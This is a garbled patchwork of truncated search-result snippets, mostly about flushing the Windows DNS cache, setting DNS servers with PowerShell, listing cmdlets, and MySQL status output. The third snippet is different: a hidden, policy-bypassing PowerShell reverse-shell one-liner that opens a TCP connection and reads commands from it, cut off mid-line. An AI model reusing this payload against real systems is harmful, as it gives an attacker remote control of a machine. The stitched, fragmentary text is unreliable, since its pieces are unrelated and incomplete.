例如,每隔 10 分钟清理一次 DNS 缓存: powershellCopy Code while($true) {# 执行清理 DNS 缓存Invoke-Expression-Command"ipconfig /flushdns"# 输出清理成功的提示Write-Host"DNS cache cleared successfully at$(Get-Date)"-ForegroundColorGreen# 等待 10 分钟(600秒)后再次清理Start-Sleep-Seconds600} 说明:...
清除DNS缓存的最简单方法是使用“运行”对话框,这是一个Windows工具,允许你快速运行命令、启动应用程序并打开文件(如果你知道要键入什么)。 1、按住Windows键+R打开“运行”对话框。 2、在文本字段中键入ipconfig /flushdns,然后单击“确定”。 3、检查你的问题是否已解决。 如何使用命令提示符清除DNS缓存 “运行”...
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("127.0.0.1",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System....
it can potentially store incorrect or outdated information, causing name resolution to fail or return false results. Admins often useipconfig /flushdnsto do this, along withipconfig /displaydnsto view the cache
PS D:\PowerShell-7.3.8-win-x64> Get-Command CommandType Name Version SourceAlias Add-AppPackage 2.0.1.0 Appx Alias Add-AppPackageVolume 2.0.1.0 Appx Alias Add-AppProvisionedPackage 3.0 Dism Alias Add-ProvisionedAppPackage 3.0 Dism Alias Add-ProvisionedAppxPackage 3.0 Dism Alias Add-WindowsFeatu...
PrivateDns.Models Microsoft.Azure.Commands.Profile.AzureRmAlias Microsoft.Azure.Commands.Profile.Common Microsoft.Azure.Commands.Profile.CommonModule Microsoft.Azure.Commands.Profile.Errors Microsoft.Azure.Commands.Profile.Models Microsoft.Azure.Commands.Profile.Models.Core Microsoft.Azure.Comm...
Cmdlet是PowerShell的命令,所有的cmdlet命令都遵循动词-名词这样语法结构,PowerShell提供了Get-Command这个强大的命令,可以查找所有的cmdlet命令。它拥有强大的第三方类库支持,可以实现非常复杂的运维任务和数据处理分析。 三、Cmdlet说明 属于Net类实例化编译后的可执行脚本程序。
$dnsParams = @{ InterfaceIndex = 8 ServerAddresses = ("8.8.8.8","8.8.4.4") } Set-DnsClientServerAddress @dnsParams After changing the DNS settings, you can flush the DNS resolver cache (equivalent toipconfig /flushdns): Clear-DnsClientCache ...
Preferred-DNS-address, Alternate-DNS-address. Before pressing the Enter button, it would look like this- Set-DNSClientServerAddress "Wi-Fi" –ServerAddresses ("1.1.1.1","1.0.0.1") After making these changes, you might have toflush the DNS cache. ...
characterset: utf8 Conn. characterset: utf8 TCP port: 3306 Uptime: 17 min 4 sec Threads: 19 Questions: 482 Slow queries: 0 Opens: 50 Flush tables: 3 Open tables: 12 Queries per second avg: 0.470 --- mysql> 다른 명령은MySQL 5.7 참조 설명서 - 4.5.1장...